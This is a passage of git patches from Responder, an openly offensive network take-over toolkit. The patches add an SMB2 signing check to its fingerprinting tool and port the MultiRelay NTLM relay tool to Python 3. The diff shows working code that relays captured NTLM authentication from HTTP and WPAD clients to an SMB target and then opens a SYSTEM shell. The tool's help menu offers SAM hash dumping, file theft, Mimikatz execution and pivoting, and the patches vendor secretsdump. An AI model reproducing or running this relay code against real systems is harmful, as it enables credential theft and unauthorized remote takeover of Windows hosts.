052/219] Added support for SMB2 signing --- tools/RunFinger.py | 15 ++++++++++++--- 1 file changed, 12 insertions(+), 3 deletions(-) diff --git a/tools/RunFinger.py b/tools/RunFinger.py index e7897e8..745f2f0 100755 --- a/tools/RunFinger.py +++ b/tools/RunFinger.py @@ -39,6 +39,7 @@ if options.TARGET is None: Timeout = 2 Host = options.TARGET SMB1 = "Enabled" +SMB2signing = "False" class Packet(): fields = OrderedDict([ @@ -89,6 +90,13 @@ def ParseNegotiateSMB2Ans(data): else: return False +def SMB2SigningMandatory(data): + global SMB2signing + if data[70] == "\x03": + SMB2signing = "True" + else: + SMB2signing = "False" + def WorkstationFingerPrint(data): return { b"\x04\x00" :"Windows 95", @@ -108,7 +116,7 @@ def GetOsBuildNumber(data): ProductBuild = struct.unpack(" Date: Mon, 8 Feb 2021 15:11:31 -0300 Subject: [PATCH 053/219] Ported MultiRelay to python3 + enhancements. --- tools/MultiRelay.py | 809 +-- tools/MultiRelay/RelayMultiCore.py | 2196 +++--- tools/MultiRelay/RelayMultiPackets.py | 564 +- tools/MultiRelay/creddump/.gitignore | 120 - tools/MultiRelay/creddump/CHANGELOG | 9 - tools/MultiRelay/creddump/COPYING | 674 -- tools/MultiRelay/creddump/README | 0 tools/MultiRelay/creddump/README.md | 182 - tools/MultiRelay/creddump/cachedump.py | 48 - .../MultiRelay/creddump/framework/__init__.py | 0 .../creddump/framework/addrspace.py | 147 - tools/MultiRelay/creddump/framework/newobj.py | 320 - tools/MultiRelay/creddump/framework/object.py | 171 - tools/MultiRelay/creddump/framework/types.py | 65 - .../creddump/framework/win32/__init__.py | 0 .../creddump/framework/win32/domcachedump.py | 135 - .../creddump/framework/win32/hashdump.py | 311 - .../creddump/framework/win32/lsasecrets.py | 179 - .../creddump/framework/win32/rawreg.py | 73 - tools/MultiRelay/creddump/lsadump.py | 68 - tools/MultiRelay/creddump/pwdump.py | 31 - tools/MultiRelay/impacket-dev/LICENSE | 84 + .../impacket-dev/impacket/ImpactPacket.py | 2130 ++++++ .../impacket-dev/impacket/__init__.py | 25 + .../impacket-dev/impacket/crypto.py | 346 + .../impacket-dev/impacket/dcerpc/__init__.py | 1 + .../impacket/dcerpc/v5/__init__.py | 1 + .../impacket-dev/impacket/dcerpc/v5/atsvc.py | 211 + .../impacket-dev/impacket/dcerpc/v5/bkrp.py | 127 + .../impacket/dcerpc/v5/dcom/__init__.py | 1 + .../impacket/dcerpc/v5/dcom/comev.py | 1863 ++++++ .../impacket/dcerpc/v5/dcom/oaut.py | 1090 +++ .../impacket/dcerpc/v5/dcom/scmp.py | 337 + .../impacket/dcerpc/v5/dcom/vds.py | 267 + .../impacket/dcerpc/v5/dcom/wmi.py | 3250 +++++++++ .../impacket-dev/impacket/dcerpc/v5/dcomrt.py | 1903 ++++++ .../impacket-dev/impacket/dcerpc/v5/dhcpm.py | 1018 +++ .../impacket/dcerpc/v5/drsuapi.py | 1517 +++++ .../impacket-dev/impacket/dcerpc/v5/dtypes.py | 542 ++ .../impacket-dev/impacket/dcerpc/v5/enum.py | 754 +++ .../impacket-dev/impacket/dcerpc/v5/epm.py | 1383 ++++ .../impacket-dev/impacket/dcerpc/v5/even.py | 400 ++ .../impacket-dev/impacket/dcerpc/v5/even6.py | 344 + .../impacket-dev/impacket/dcerpc/v5/iphlp.py | 172 + .../impacket-dev/impacket/dcerpc/v5/lsad.py | 1665 +++++ .../impacket-dev/impacket/dcerpc/v5/lsat.py | 494 ++ .../impacket-dev/impacket/dcerpc/v5/mgmt.py | 166 + .../impacket/dcerpc/v5/mimilib.py | 236 + .../impacket-dev/impacket/dcerpc/v5/ndr.py | 1714 +++++ .../impacket-dev/impacket/dcerpc/v5/nrpc.py | 2853 ++++++++ .../impacket-dev/impacket/dcerpc/v5/nspi.py | 1361 ++++ .../impacket/dcerpc/v5/oxabref.py | 131 + .../impacket-dev/impacket/dcerpc/v5/rpch.py | 846 +++ .../impacket-dev/impacket/dcerpc/v5/rpcrt.py | 1687 +++++ .../impacket-dev/impacket/dcerpc/v5/rprn.py | 525 ++ .../impacket-dev/impacket/dcerpc/v5/rrp.py | 1006 +++ .../impacket-dev/impacket/dcerpc/v5/samr.py | 2929 ++++++++ .../impacket-dev/impacket/dcerpc/v5/sasec.py | 175 + .../impacket-dev/impacket/dcerpc/v5/scmr.py | 1398 ++++ .../impacket-dev/impacket/dcerpc/v5/srvs.py | 3296 +++++++++ .../impacket/dcerpc/v5/transport.py | 592 ++ .../impacket-dev/impacket/dcerpc/v5/tsch.py | 799 +++ .../impacket-dev/impacket/dcerpc/v5/wkst.py | 1182 ++++ .../MultiRelay/impacket-dev/impacket/dpapi.py | 1038 +++ tools/MultiRelay/impacket-dev/impacket/ese.py | 970 +++ .../impacket/examples/__init__.py | 1 + .../impacket-dev/impacket/examples/logger.py | 59 + .../impacket/examples/secretsdump.py | 1905 ++++++ .../impacket-dev/impacket/helper.py | 150 + .../impacket-dev/impacket/hresult_errors.py | 5872 +++++++++++++++++ .../MultiRelay/impacket-dev/impacket/http.py | 206 + .../impacket-dev/impacket/nt_errors.py | 3604 ++++++++++ .../MultiRelay/impacket-dev/impacket/ntlm.py | 976 +++ .../impacket-dev/impacket/structure.py | 658 ++ .../impacket-dev/impacket/system_errors.py | 5521 ++++++++++++++++ .../MultiRelay/impacket-dev/impacket/uuid.py | 79 + .../impacket-dev/impacket/version.py | 20 + .../impacket-dev/impacket/winregistry.py | 482 ++ tools/MultiRelay/impacket-dev/secretsdump.py | 186 + tools/MultiRelay/odict.py | 121 + tools/SMBFinger/Finger.py | 344 +- tools/SMBFinger/odict.py | 43 +- 82 files changed, 64692 insertions(+), 4466 deletions(-) delete mode 100644 tools/MultiRelay/creddump/.gitignore delete mode 100644 tools/MultiRelay/creddump/CHANGELOG delete mode 100644 tools/MultiRelay/creddump/COPYING delete mode 100644 tools/MultiRelay/creddump/README delete mode 100644 tools/MultiRelay/creddump/README.md delete mode 100755 tools/MultiRelay/creddump/cachedump.py delete mode 100644 tools/MultiRelay/creddump/framework/__init__.py delete mode 100755 tools/MultiRelay/creddump/framework/addrspace.py delete mode 100644 tools/MultiRelay/creddump/framework/newobj.py delete mode 100644 tools/MultiRelay/creddump/framework/object.py delete mode 100644 tools/MultiRelay/creddump/framework/types.py delete mode 100644 tools/MultiRelay/creddump/framework/win32/__init__.py delete mode 100644 tools/MultiRelay/creddump/framework/win32/domcachedump.py delete mode 100644 tools/MultiRelay/creddump/framework/win32/hashdump.py delete mode 100644 tools/MultiRelay/creddump/framework/win32/lsasecrets.py delete mode 100644 tools/MultiRelay/creddump/framework/win32/rawreg.py delete mode 100755 tools/MultiRelay/creddump/lsadump.py delete mode 100755 tools/MultiRelay/creddump/pwdump.py create mode 100644 tools/MultiRelay/impacket-dev/LICENSE create mode 100644 tools/MultiRelay/impacket-dev/impacket/ImpactPacket.py create mode 100644 tools/MultiRelay/impacket-dev/impacket/__init__.py create mode 100644 tools/MultiRelay/impacket-dev/impacket/crypto.py create mode 100644 tools/MultiRelay/impacket-dev/impacket/dcerpc/__init__.py create mode 100644 tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/__init__.py create mode 100644 tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/atsvc.py create mode 100644 tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/bkrp.py create mode 100644 tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/dcom/__init__.py create mode 100644 tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/dcom/comev.py create mode 100644 tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/dcom/oaut.py create mode 100644 tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/dcom/scmp.py create mode 100644 tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/dcom/vds.py create mode 100644 tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/dcom/wmi.py create mode 100644 tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/dcomrt.py create mode 100755 tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/dhcpm.py create mode 100644 tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/drsuapi.py create mode 100644 tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/dtypes.py create mode 100644 tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/enum.py create mode 100644 tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/epm.py create mode 100644 tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/even.py create mode 100644 tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/even6.py create mode 100644 tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/iphlp.py create mode 100644 tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/lsad.py create mode 100644 tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/lsat.py create mode 100644 tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/mgmt.py create mode 100644 tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/mimilib.py create mode 100644 tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/ndr.py create mode 100644 tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/nrpc.py create mode 100644 tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/nspi.py create mode 100644 tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/oxabref.py create mode 100644 tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/rpch.py create mode 100644 tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/rpcrt.py create mode 100644 tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/rprn.py create mode 100644 tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/rrp.py create mode 100644 tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/samr.py create mode 100644 tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/sasec.py create mode 100644 tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/scmr.py create mode 100644 tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/srvs.py create mode 100644 tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/transport.py create mode 100644 tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/tsch.py create mode 100644 tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/wkst.py create mode 100644 tools/MultiRelay/impacket-dev/impacket/dpapi.py create mode 100644 tools/MultiRelay/impacket-dev/impacket/ese.py create mode 100644 tools/MultiRelay/impacket-dev/impacket/examples/__init__.py create mode 100644 tools/MultiRelay/impacket-dev/impacket/examples/logger.py create mode 100644 tools/MultiRelay/impacket-dev/impacket/examples/secretsdump.py create mode 100644 tools/MultiRelay/impacket-dev/impacket/helper.py create mode 100644 tools/MultiRelay/impacket-dev/impacket/hresult_errors.py create mode 100644 tools/MultiRelay/impacket-dev/impacket/http.py create mode 100644 tools/MultiRelay/impacket-dev/impacket/nt_errors.py create mode 100644 tools/MultiRelay/impacket-dev/impacket/ntlm.py create mode 100644 tools/MultiRelay/impacket-dev/impacket/structure.py create mode 100644 tools/MultiRelay/impacket-dev/impacket/system_errors.py create mode 100644 tools/MultiRelay/impacket-dev/impacket/uuid.py create mode 100644 tools/MultiRelay/impacket-dev/impacket/version.py create mode 100644 tools/MultiRelay/impacket-dev/impacket/winregistry.py create mode 100755 tools/MultiRelay/impacket-dev/secretsdump.py create mode 100644 tools/MultiRelay/odict.py diff --git a/tools/MultiRelay.py b/tools/MultiRelay.py index db4416d..5a45085 100755 --- a/tools/MultiRelay.py +++ b/tools/MultiRelay.py @@ -1,4 +1,5 @@ #!/usr/bin/env python +# -*- coding: latin-1 -*- # This file is part of Responder, a network take-over set of tools # created and maintained by Laurent Gaffie. # email: laurent.gaffie@gmail.com @@ -15,6 +16,11 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . import sys +if (sys.version_info > (3, 0)): + PY2OR3 = "PY3" +else: + PY2OR3 = "PY2" + sys.exit("For now MultiRelay only supports python 3. Try python3 MultiRelay.py ...") import re import os import logging @@ -23,26 +29,29 @@ import time import random import subprocess from threading import Thread -from SocketServer import TCPServer, UDPServer, ThreadingMixIn, BaseRequestHandler +if PY2OR3 is "PY3": + from socketserver import TCPServer, UDPServer, ThreadingMixIn, BaseRequestHandler +else: + from SocketServer import TCPServer, UDPServer, ThreadingMixIn, BaseRequestHandler + try: from Crypto.Hash import MD5 except ImportError: - print "\033[1;31m\nCrypto lib is not installed. You won't be able to live dump the hashes." - print "You can install it on debian based os with this command: apt-get install python-crypto" - print "The Sam file will be saved anyway and you will have the bootkey.\033[0m\n" + print("\033[1;31m\nCrypto lib is not installed. You won't be able to live dump the hashes.") + print("You can install it on debian based os with this command: apt-get install python-crypto") + print("The Sam file will be saved anyway and you will have the bootkey.\033[0m\n") try: import readline except: - print "Warning: readline module is not available, you will not be able to use the arrow keys for command history" + print("Warning: readline module is not available, you will not be able to use the arrow keys for command history") pass from MultiRelay.RelayMultiPackets import * from MultiRelay.RelayMultiCore import * - from SMBFinger.Finger import RunFinger,ShowSigning,RunPivotScan sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '../'))) from socket import * -__version__ = "2.0" +__version__ = "2.5" MimikatzFilename = "./MultiRelay/bin/mimikatz.exe" @@ -72,18 +81,18 @@ parser.add_option('-d', '--dump', action="store_true", help="Dump hashes (script options, args = parser.parse_args() if options.TARGET is None: - print "\n-t Mandatory option is missing, please provide a target.\n" + print("\n-t Mandatory option is missing, please provide a target.\n") parser.print_help() exit(-1) if options.UserToRelay is None: - print "\n-u Mandatory option is missing, please provide a username to relay.\n" + print("\n-u Mandatory option is missing, please provide a username to relay.\n") parser.print_help() exit(-1) if options.ExtraPort is None: options.ExtraPort = 0 if not os.geteuid() == 0: - print color("[!] MultiRelay must be run as root.") + print((color("[!] MultiRelay must be run as root."))) sys.exit(-1) OneCommand = options.OneCommand @@ -98,62 +107,83 @@ Pivoting = [2] def color(txt, code = 1, modifier = 0): - return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt) + return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt) def ShowWelcome(): - print color('\nResponder MultiRelay %s NTLMv1/2 Relay' %(__version__),8,1) - print '\nSend bugs/hugs/comments to: laurent.gaffie@gmail.com' - print 'Usernames to relay (-u) are case sensitive.' - print 'To kill this script hit CTRL-C.\n' - print color('/*',8,1) - print 'Use this script in combination with Responder.py for best results.' - print 'Make sure to set SMB and HTTP to OFF in Responder.conf.\n' - print 'This tool listen on TCP port 80, 3128 and 445.' - print 'For optimal pwnage, launch Responder only with these 2 options:' - print '-rv\nAvoid running a command that will likely prompt for information like net use, etc.' - print 'If you do so, use taskkill (as system) to kill the process.' - print color('*/',8,1) - print color('\nRelaying credentials for these users:',8,1) - print color(UserToRelay,4,1) - print '\n' + print(color('\nResponder MultiRelay %s NTLMv1/2 Relay' %(__version__),8,1)) + print('\nSend bugs/hugs/comments to: laurent.gaffie@gmail.com') + print('Usernames to relay (-u) are case sensitive.') + print('To kill this script hit CTRL-C.\n') + print(color('/*',8,1)) + print('Use this script in combination with Responder.py for best results.') + print('Make sure to set SMB and HTTP to OFF in Responder.conf.\n') + print('This tool listen on TCP port 80, 3128 and 445.') + print('For optimal pwnage, launch Responder only with these 2 options:') + print('-rv\nAvoid running a command that will likely prompt for information like net use, etc.') + print('If you do so, use taskkill (as system) to kill the process.') + print(color('*/',8,1)) + print(color('\nRelaying credentials for these users:',8,1)) + print(color(UserToRelay,4,1)) + print('\n') ShowWelcome() def ShowHelp(): - print color('Available commands:',8,0) - print color('dump',8,1)+' -> Extract the SAM database and print hashes.' - print color('regdump KEY',8,1)+' -> Dump an HKLM registry key (eg: regdump SYSTEM)' - print color('read Path_To_File',8,1)+' -> Read a file (eg: read /windows/win.ini)' - print color('get Path_To_File',8,1)+' -> Download a file (eg: get users/administrator/desktop/password.txt)' - print color('delete Path_To_File',8,1)+'-> Delete a file (eg: delete /windows/temp/executable.exe)' - print color('upload Path_To_File',8,1)+'-> Upload a local file (eg: upload /home/user/bk.exe), files will be uploaded in \\windows\\temp\\' - print color('runas Command',8,1)+' -> Run a command as the currently logged in user. (eg: runas whoami)' - print color('scan /24',8,1)+' -> Scan (Using SMB) this /24 or /16 to find hosts to pivot to' - print color('pivot IP address',8,1)+' -> Connect to another host (eg: pivot 10.0.0.12)' - print color('mimi command',8,1)+' -> Run a remote Mimikatz 64 bits command (eg: mimi coffee)' - print color('mimi32 command',8,1)+' -> Run a remote Mimikatz 32 bits command (eg: mimi coffee)' - print color('lcmd command',8,1)+' -> Run a local command and display the result in MultiRelay shell (eg: lcmd ifconfig)' - print color('help',8,1)+' -> Print this message.' - print color('exit',8,1)+' -> Exit this shell and return in relay mode.' - print ' If you want to quit type exit and then use CTRL-C\n' - print color('Any other command than that will be run as SYSTEM on the target.\n',8,1) + print(color('Available commands:',8,0)) + print(color('dump',8,1)+' -> Extract the SAM database and print hashes.') + print(color('regdump KEY',8,1)+' -> Dump an HKLM registry key (eg: regdump SYSTEM)') + print(color('read Path_To_File',8,1)+' -> Read a file (eg: read /windows/win.ini)') + print(color('get Path_To_File',8,1)+' -> Download a file (eg: get users/administrator/desktop/password.txt)') + print(color('delete Path_To_File',8,1)+'-> Delete a file (eg: delete /windows/temp/executable.exe)') + print(color('upload Path_To_File',8,1)+'-> Upload a local file (eg: upload /home/user/bk.exe), files will be uploaded in \\windows\\temp\\') + print(color('runas Command',8,1)+' -> Run a command as the currently logged in user. (eg: runas whoami)') + print(color('scan /24',8,1)+' -> Scan (Using SMB) this /24 or /16 to find hosts to pivot to') + print(color('pivot IP address',8,1)+' -> Connect to another host (eg: pivot 10.0.0.12)') + print(color('mimi command',8,1)+' -> Run a remote Mimikatz 64 bits command (eg: mimi coffee)') + print(color('mimi32 command',8,1)+' -> Run a remote Mimikatz 32 bits command (eg: mimi coffee)') + print(color('lcmd command',8,1)+' -> Run a local command and display the result in MultiRelay shell (eg: lcmd ifconfig)') + print(color('help',8,1)+' -> Print this message.') + print(color('exit',8,1)+' -> Exit this shell and return in relay mode.') + print(' If you want to quit type exit and then use CTRL-C\n') + print(color('Any other command than that will be run as SYSTEM on the target.\n',8,1)) Logs_Path = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/../" Logs = logging Logs.basicConfig(filemode="w",filename=Logs_Path+'logs/SMBRelay-Session.txt',level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p') +def NetworkSendBufferPython2or3(data): + if PY2OR3 is "PY2": + return str(data) + else: + return bytes(str(data), 'latin-1') + +def NetworkRecvBufferPython2or3(data): + if PY2OR3 is "PY2": + return str(data) + else: + return str(data.decode('latin-1')) + +def StructPython2or3(endian,data): + #Python2... + if PY2OR3 == "PY2": + return struct.pack(endian, len(data)) + #Python3... + else: + return struct.pack(endian, len(data)).decode('latin-1') + def UploadContent(File): - with file(File) as f: + with open(File,'rb') as f: s = f.read() - FileLen = len(s) - FileContent = s + FileLen = len(s.decode('latin-1')) + FileContent = s.decode('latin-1') return FileLen, FileContent try: RunFinger(Host[0]) except: - print "The host %s seems to be down or port 445 down."%(Host[0]) + raise + print("The host %s seems to be down or port 445 down."%(Host[0])) sys.exit(1) @@ -161,49 +191,49 @@ def get_command(): global Cmd Cmd = [] while any(x in Cmd for x in Cmd) is False: - Cmd = [raw_input("C:\\Windows\\system32\\:#")] + Cmd = [input("C:\\Windows\\system32\\:#")] #Function used to make sure no connections are accepted while we have an open shell. #Used to avoid any possible broken pipe. def IsShellOpen(): #While there's nothing in our array return false. if any(x in ShellOpen for x in ShellOpen) is False: - return False + return False #If there is return True. else: - return True + return True #Function used to make sure no connections are accepted on HTTP and HTTP_Proxy while we are pivoting. def IsPivotOn(): #While there's nothing in our array return false. if Pivoting[0] == "2": - return False + return False #If there is return True. if Pivoting[0] == "1": - return True + print("pivot is on") + return True def ConnectToTarget(): + try: + s = socket(AF_INET, SOCK_STREAM) + s.connect((Host[0],445)) + return s + except: try: - s = socket(AF_INET, SOCK_STREAM) - s.connect((Host[0],445)) - return s + sys.exit(1) + print("Cannot connect to target, host down?") except: - try: - sys.exit(1) - print "Cannot connect to target, host down?" - except: - pass + pass class HTTPProxyRelay(BaseRequestHandler): def handle(self): - try: #Don't handle requests while a shell is open. That's the goal after all. if IsShellOpen(): - return None + return None if IsPivotOn(): - return None + return None except: raise @@ -219,87 +249,85 @@ class HTTPProxyRelay(BaseRequestHandler): NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data) ##Make sure incoming packet is an NTLM auth, if not send HTTP 407. - if NTLM_Auth: + if NTLM_Auth: #Get NTLM Message code. (1:negotiate, 2:challenge, 3:auth) - Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9] + Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9] - if Packet_NTLM == "\x01": - ## SMB Block. Once we get an incoming NTLM request, we grab the ntlm challenge from the target. - h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x43\xc8") - n = SMBNegoCairo(Data = SMBNegoCairoData()) - n.calculate() - packet0 = str(h)+str(n) - buffer0 = longueur(packet0)+packet0 - s.send(buffer0) - smbdata = s.recv(2048) - ##Session Setup AndX Request, NTLMSSP_NEGOTIATE - if smbdata[8:10] == "\x72\x00": - head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x43\xc8",mid="\x02\x00") - t = SMBSessionSetupAndxNEGO(Data=b64decode(''.join(NTLM_Auth)))# + if Packet_NTLM == "\x01": + ## SMB Block. Once we get an incoming NTLM request, we grab the ntlm challenge from the target. + h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x43\xc8") + n = SMBNegoCairo(Data = SMBNegoCairoData()) + n.calculate() + packet0 = str(h)+str(n) + buffer0 = longueur(packet0)+packet0 + s.send(buffer0) + smbdata = s.recv(2048) + ##Session Setup AndX Request, NTLMSSP_NEGOTIATE + if smbdata[8:10] == "\x72\x00": + head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x43\xc8",mid="\x02\x00") + t = SMBSessionSetupAndxNEGO(Data=b64decode(''.join(NTLM_Auth)))# + t.calculate() + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(NetworkSendBufferPython2or3(buffer1)) + smbdata = s.recv(2048) #got it here. + + ## Send HTTP Proxy + Buffer_Ans = WPAD_NTLM_Challenge_Ans() + Buffer_Ans.calculate(str(ExtractRawNTLMPacket(smbdata)))#Retrieve challenge message from smb + key = ExtractHTTPChallenge(smbdata,Pivoting)#Grab challenge key for later use (hash parsing). + self.request.send(str(Buffer_Ans)) #We send NTLM message 2 to the client. + data = self.request.recv(8092) + NTLM_Proxy_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data) + Packet_NTLM = b64decode(''.join(NTLM_Proxy_Auth))[8:9] + + ##Got NTLM Message 3 from client. + if Packet_NTLM == "\x03": + NTLM_Auth = b64decode(''.join(NTLM_Proxy_Auth)) + ##Might be anonymous, verify it and if so, send no go to client. + if IsSMBAnonymous(NTLM_Auth): + Response = WPAD_Auth_407_Ans() + self.request.send(str(Response)) + data = self.request.recv(8092) + else: + #Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login + #and has not attempted before. While at it, let's grab his hash. + Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host[0],Pivoting) + if Username is not None: + head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x43\xc8",uid=smbdata[32:34],mid="\x03\x00") + t = SMBSessionSetupAndxAUTH(Data=NTLM_Auth)#Final relay. t.calculate() packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 - s.send(buffer1) - smbdata = s.recv(2048) #got it here. + print("[+] SMB Session Auth sent.") + s.send(NetworkSendBufferPython2or3(buffer1)) + smbdata = s.recv(2048) + RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain) + if RunCmd is None: + s.close() + self.request.close() + return None - ## Send HTTP Proxy - Buffer_Ans = WPAD_NTLM_Challenge_Ans() - Buffer_Ans.calculate(str(ExtractRawNTLMPacket(smbdata)))#Retrieve challenge message from smb - key = ExtractHTTPChallenge(smbdata,Pivoting)#Grab challenge key for later use (hash parsing). - self.request.send(str(Buffer_Ans)) #We send NTLM message 2 to the client. - data = self.request.recv(8092) - NTLM_Proxy_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data) - Packet_NTLM = b64decode(''.join(NTLM_Proxy_Auth))[8:9] - - ##Got NTLM Message 3 from client. - if Packet_NTLM == "\x03": - NTLM_Auth = b64decode(''.join(NTLM_Proxy_Auth)) - ##Might be anonymous, verify it and if so, send no go to client. - if IsSMBAnonymous(NTLM_Auth): - Response = WPAD_Auth_407_Ans() - self.request.send(str(Response)) - data = self.request.recv(8092) - else: - #Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login - #and has not attempted before. While at it, let's grab his hash. - Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host[0],Pivoting) - - if Username is not None: - head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x43\xc8",uid=smbdata[32:34],mid="\x03\x00") - t = SMBSessionSetupAndxAUTH(Data=NTLM_Auth)#Final relay. - t.calculate() - packet1 = str(head)+str(t) - buffer1 = longueur(packet1)+packet1 - print "[+] SMB Session Auth sent." - s.send(buffer1) - smbdata = s.recv(2048) - RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain) - if RunCmd is None: - s.close() - self.request.close() - return None - - else: + else: ##Any other type of request, send a 407. Response = WPAD_Auth_407_Ans() - self.request.send(str(Response)) + self.request.send(str(Response)) except Exception: - self.request.close() + self.request.close() ##No need to print anything (timeouts, rst, etc) to the user console.. - pass + pass class HTTPRelay(BaseRequestHandler): def handle(self): - try: #Don't handle requests while a shell is open. That's the goal after all. if IsShellOpen(): - return None + return None if IsPivotOn(): - return None + return None except: raise @@ -311,16 +339,16 @@ class HTTPRelay(BaseRequestHandler): Webdav = ServeOPTIONS(data) if Webdav: #If it is, send the option answer, we'll send him to auth when we receive a profind. - self.request.send(Webdav) + self.request.send(NetworkSendBufferPython2or3(Webdav)) data = self.request.recv(4096) NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data) ##Make sure incoming packet is an NTLM auth, if not send HTTP 407. - if NTLM_Auth: + if NTLM_Auth: #Get NTLM Message code. (1:negotiate, 2:challenge, 3:auth) - Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9] + Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9] - if Packet_NTLM == "\x01": + if Packet_NTLM == "\x01": ## SMB Block. Once we get an incoming NTLM request, we grab the ntlm challenge from the target. h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x43\xc8") n = SMBNegoCairo(Data = SMBNegoCairoData()) @@ -336,110 +364,110 @@ class HTTPRelay(BaseRequestHandler): t.calculate() packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 - s.send(buffer1) + s.send(NetworkSendBufferPython2or3(buffer1)) smbdata = s.recv(2048) #got it here. ## Send HTTP Response. - Buffer_Ans = IIS_NTLM_Challenge_Ans() - Buffer_Ans.calculate(str(ExtractRawNTLMPacket(smbdata)))#Retrieve challenge message from smb + Buffer_Ans = IIS_NTLM_Challenge_Ans() + Buffer_Ans.calculate(str(ExtractRawNTLMPacket(smbdata)))#Retrieve challenge message from smb key = ExtractHTTPChallenge(smbdata,Pivoting)#Grab challenge key for later use (hash parsing). - self.request.send(str(Buffer_Ans)) #We send NTLM message 2 to the client. + self.request.send(str(Buffer_Ans)) #We send NTLM message 2 to the client. data = self.request.recv(8092) NTLM_Proxy_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data) Packet_NTLM = b64decode(''.join(NTLM_Proxy_Auth))[8:9] ##Got NTLM Message 3 from client. - if Packet_NTLM == "\x03": - NTLM_Auth = b64decode(''.join(NTLM_Proxy_Auth)) - ##Might be anonymous, verify it and if so, send no go to client. - if IsSMBAnonymous(NTLM_Auth): - Response = IIS_Auth_401_Ans() - self.request.send(str(Response)) - data = self.request.recv(8092) - else: - #Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login - #and has not attempted before. While at it, let's grab his hash. - Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host[0],Pivoting) + if Packet_NTLM == "\x03": + NTLM_Auth = b64decode(''.join(NTLM_Proxy_Auth)) + ##Might be anonymous, verify it and if so, send no go to client. + if IsSMBAnonymous(NTLM_Auth): + Response = IIS_Auth_401_Ans() + self.request.send(str(Response)) + data = self.request.recv(8092) + else: + #Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login + #and has not attempted before. While at it, let's grab his hash. + Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host[0],Pivoting) - if Username is not None: - head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x43\xc8",uid=smbdata[32:34],mid="\x03\x00") - t = SMBSessionSetupAndxAUTH(Data=NTLM_Auth)#Final relay. - t.calculate() - packet1 = str(head)+str(t) - buffer1 = longueur(packet1)+packet1 - print "[+] SMB Session Auth sent." - s.send(buffer1) - smbdata = s.recv(2048) - RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain) - if RunCmd is None: - s.close() - self.request.close() - return None + if Username is not None: + head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x43\xc8",uid=smbdata[32:34],mid="\x03\x00") + t = SMBSessionSetupAndxAUTH(Data=NTLM_Auth)#Final relay. + t.calculate() + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + print("[+] SMB Session Auth sent.") + s.send(NetworkSendBufferPython2or3(buffer1)) + smbdata = s.recv(2048) + 